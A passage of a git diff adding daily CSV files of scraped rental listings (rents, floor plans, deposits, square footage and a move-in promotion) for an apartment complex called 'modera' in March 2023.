ba,"Starting from $2,432/month",$300,735,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230319.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230319.csv new file mode 100644 index 00000000000..ca0b7ebbc15 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230319.csv @@ -0,0 +1,18 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230319,modera,S01L,Studio / 1 ba,"Starting from $2,725/month",$300,641+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230319,modera,S02,Studio / 1 ba,"Starting from $1,978/month",$300,498+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230319,modera,A03,1 bd/1 ba,"Starting from $2,071/month",$300,553+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230319,modera,A05,1 bd/1 ba,"Starting from $2,025/month",$300,596,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230319,modera,A05L,1 bd/1 ba,"Starting from $2,432/month",$300,735,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230319,modera,A06,1 bd/1 ba,"Starting from $2,174/month",$300,606,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230319,modera,A07,1 bd/1 ba,"Starting from $2,462/month",$300,634+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230319,modera,A09,1 bd/1 ba,"Starting from $2,159/month",$300,640,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230319,modera,A10,1 bd/1 ba,"Starting from $2,383/month",$300,672+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230319,modera,A12,1 bd/1 ba,"Starting from $2,706/month",$300,751+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230319,modera,A14D,1 bd/1 ba,"Starting from $2,399/month",$300,777+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230319,modera,A16D,1 bd/1 ba,"Starting from $2,882/month",$300,882,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230319,modera,B01,2 bd/2 ba,"Starting from $3,515/month",$300,961,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230319,modera,B03,2 bd/2 ba,"Starting from $3,483/month",$300,"1,039+",/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230319,modera,B07D,2 bd/2 ba,"Starting from $3,603/month",$300,"1,233",/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230319,modera,S01L,Studio / 1 ba,"Starting from $2,725/month",$300,641+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230319,modera,A05L,1 bd/1 ba,"Starting from $2,432/month",$300,735,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230320.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230320.csv new file mode 100644 index 00000000000..bccbd9c835a --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230320.csv @@ -0,0 +1,17 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230320,modera,S01L,Studio / 1 ba,"Starting from $2,725/month",$300,641+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230320,modera,S02,Studio / 1 ba,"Starting from $1,978/month",$300,498+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230320,modera,A03,1 bd/1 ba,"Starting from $2,071/month",$300,553+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230320,modera,A05,1 bd/1 ba,"Starting from $2,025/month",$300,596,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230320,modera,A05L,1 bd/1 ba,"Starting from $2,432/month",$300,735,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230320,modera,A06,1 bd/1 ba,"Starting from $2,174/month",$300,606,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230320,modera,A07,1 bd/1 ba,"Starting from $2,462/month",$300,634+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230320,modera,A09,1 bd/1 ba,"Starting from $2,151/month",$300,640,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230320,modera,A10,1 bd/1 ba,"Starting from $2,383/month",$300,672+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230320,modera,A12,1 bd/1 ba,"Starting from $2,706/month",$300,751+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230320,modera,A14D,1 bd/1 ba,"Starting from $2,399/month",$300,777+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230320,modera,A16D,1 bd/1 ba,"Starting from $2,882/month",$300,882,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230320,modera,B01,2 bd/2 ba,"Starting from $3,515/month",$300,961,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230320,modera,B03,2 bd/2 ba,"Starting from $3,470/month",$300,"1,039+",/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230320,modera,S01L,Studio / 1 ba,"Starting from $2,725/month",$300,641+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230320,modera,A05L,1 bd/1 ba,"Starting from $2,432/month",$300,735,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230321.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230321.csv new file mode 100644 index 00000000000..a621be3adde --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230321.csv @@ -0,0 +1,18 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230321,modera,S01,Studio / 1 ba,"Starting from $1,982/month",$300,477+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230321,modera,S01L,Studio / 1 ba,"Starting from $2,725/month",$300,641+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230321,modera,S02,Studio / 1 ba,"Starting from $1,978/month",$300,498+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230321,modera,A03,1 bd/1 ba,"Starting from $2,071/month",$300,553+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230321,modera,A05,1 bd/1 ba,"Starting from $2,025/month",$300,596,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230321,modera,A05L,1 bd/1 ba,"Starting from $2,432/month",$300,735,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230321,modera,A06,1 bd/1 ba,"Starting from $2,174/month",$300,606,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230321,modera,A07,1 bd/1 ba,"Starting from $2,462/month",$300,634+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230321,modera,A09,1 bd/1 ba,"Starting from $2,143/month",$300,640,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230321,modera,A10,1 bd/1 ba,"Starting from $2,383/month",$300,672+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230321,modera,A12,1 bd/1 ba,"Starting from $2,706/month",$300,751+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230321,modera,A14D,1 bd/1 ba,"Starting from $2,399/month",$300,777+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230321,modera,A16D,1 bd/1 ba,"Starting from $2,882/month",$300,882,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230321,modera,B01,2 bd/2 ba,"Starting from $3,515/month",$300,961,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230321,modera,B03,2 bd/2 ba,"Starting from $3,457/month",$300,"1,039+",/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230321,modera,S01L,Studio / 1 ba,"Starting from $2,725/month",$300,641+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230321,modera,A05L,1 bd/1 ba,"Starting from $2,432/month",$300,735,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230322.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230322.csv new file mode 100644 index 00000000000..68eb7e074cd --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230322.csv @@ -0,0 +1,18 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230322,modera,S01,Studio / 1 ba,"Starting from $1,879/month",$300,477+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230322,modera,S01L,Studio / 1 ba,"Starting from $2,622/month",$300,641+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230322,modera,S02,Studio / 1 ba,"Starting from $1,884/month",$300,498+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230322,modera,A03,1 bd/1 ba,"Starting from $1,971/month",$300,553+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230322,modera,A05,1 bd/1 ba,"Starting from $1,925/month",$300,596,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230322,modera,A05L,1 bd/1 ba,"Starting from $2,332/month",$300,735,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230322,modera,A06,1 bd/1 ba,"Starting from $2,082/month",$300,606,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230322,modera,A07,1 bd/1 ba,"Starting from $2,362/month",$300,634+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230322,modera,A09,1 bd/1 ba,"Starting from $2,042/month",$300,640,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230322,modera,A10,1 bd/1 ba,"Starting from $2,412/month",$300,672+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230322,modera,A12,1 bd/1 ba,"Starting from $2,606/month",$300,751+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230322,modera,A14D,1 bd/1 ba,"Starting from $2,337/month",$300,777+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230322,modera,A16D,1 bd/1 ba,"Starting from $2,815/month",$300,882,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230322,modera,B01,2 bd/2 ba,"Starting from $3,515/month",$300,961,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230322,modera,B03,2 bd/2 ba,"Starting from $3,444/month",$300,"1,039+",/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230322,modera,S01L,Studio / 1 ba,"Starting from $2,622/month",$300,641+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230322,modera,A05L,1 bd/1 ba,"Starting from $2,332/month",$300,735,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230324.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230324.csv new file mode 100644 index 00000000000..ba1c2eb57f9 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230324.csv @@ -0,0 +1,18 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230324,modera,S01,Studio / 1 ba,"Starting from $1,879/month",$300,477+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230324,modera,S01L,Studio / 1 ba,"Starting from $2,622/month",$300,641+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230324,modera,S02,Studio / 1 ba,"Starting from $1,884/month",$300,498+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230324,modera,A03,1 bd/1 ba,"Starting from $1,971/month",$300,553+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230324,modera,A05,1 bd/1 ba,"Starting from $1,925/month",$300,596,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230324,modera,A05L,1 bd/1 ba,"Starting from $2,332/month",$300,735,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230324,modera,A06,1 bd/1 ba,"Starting from $2,082/month",$300,606,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230324,modera,A07,1 bd/1 ba,"Starting from $2,362/month",$300,634+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230324,modera,A09,1 bd/1 ba,"Starting from $2,027/month",$300,640,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230324,modera,A10,1 bd/1 ba,"Starting from $2,412/month",$300,672+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230324,modera,A12,1 bd/1 ba,"Starting from $2,606/month",$300,751+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230324,modera,A14D,1 bd/1 ba,"Starting from $2,337/month",$300,777+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230324,modera,A16D,1 bd/1 ba,"Starting from $2,815/month",$300,882,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230324,modera,B01,2 bd/2 ba,"Starting from $3,515/month",$300,961,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230324,modera,B03,2 bd/2 ba,"Starting from $3,444/month",$300,"1,039+",/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230324,modera,S01L,Studio / 1 ba,"Starting from $2,622/month",$300,641+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230324,modera,A05L,1 bd/1 ba,"Starting from $2,332/month",$300,735,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230325.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230325.csv new file mode 100644 index 00000000000..1a1e9af3cb4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230325.csv @@ -0,0 +1,16 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230325,modera,S01,Studio / 1 ba,"Starting from $1,879/month",$300,477+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230325,modera,S01L,Studio / 1 ba,"Starting from $2,542/month",$300,641+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230325,modera,S02,Studio / 1 ba,"Starting from $1,884/month",$300,498+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230325,modera,A03,1 bd/1 ba,"Starting from $1,971/month",$300,553+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230325,modera,A05,1 bd/1 ba,"Starting from $1,925/month",$300,596,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230325,modera,A06,1 bd/1 ba,"Starting from $2,082/month",$300,606,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230325,modera,A07,1 bd/1 ba,"Starting from $2,362/month",$300,634+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230325,modera,A09,1 bd/1 ba,"Starting from $2,027/month",$300,640,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230325,modera,A10,1 bd/1 ba,"Starting from $2,412/month",$300,672+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230325,modera,A12,1 bd/1 ba,"Starting from $2,606/month",$300,751+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230325,modera,A14D,1 bd/1 ba,"Starting from $2,337/month",$300,777+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230325,modera,A16D,1 bd/1 ba,"Starting from $2,815/month",$300,882,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230325,modera,B03,2 bd/2 ba,"Starting from $3,444/month",$300,"1,039+",/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230325,modera,B05,2 bd/2 ba,"Starting from $3,568/month",$300,"1,124+",/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230325,modera,S01L,Studio / 1 ba,"Starting from $2,542/month",$300,641+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230326.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230326.csv new file mode 100644 index 00000000000..4996479a230 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230326.csv @@ -0,0 +1,16 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230326,modera,S01,Studio / 1 ba,"Starting from $1,879/month",$300,477+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230326,modera,S01L,Studio / 1 ba,"Starting from $2,542/month",$300,641+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230326,modera,S02,Studio / 1 ba,"Starting from $1,884/month",$300,498+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230326,modera,A03,1 bd/1 ba,"Starting from $1,971/month",$300,553+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230326,modera,A05,1 bd/1 ba,"Starting from $1,925/month",$300,596,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230326,modera,A06,1 bd/1 ba,"Starting from $2,082/month",$300,606,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230326,modera,A07,1 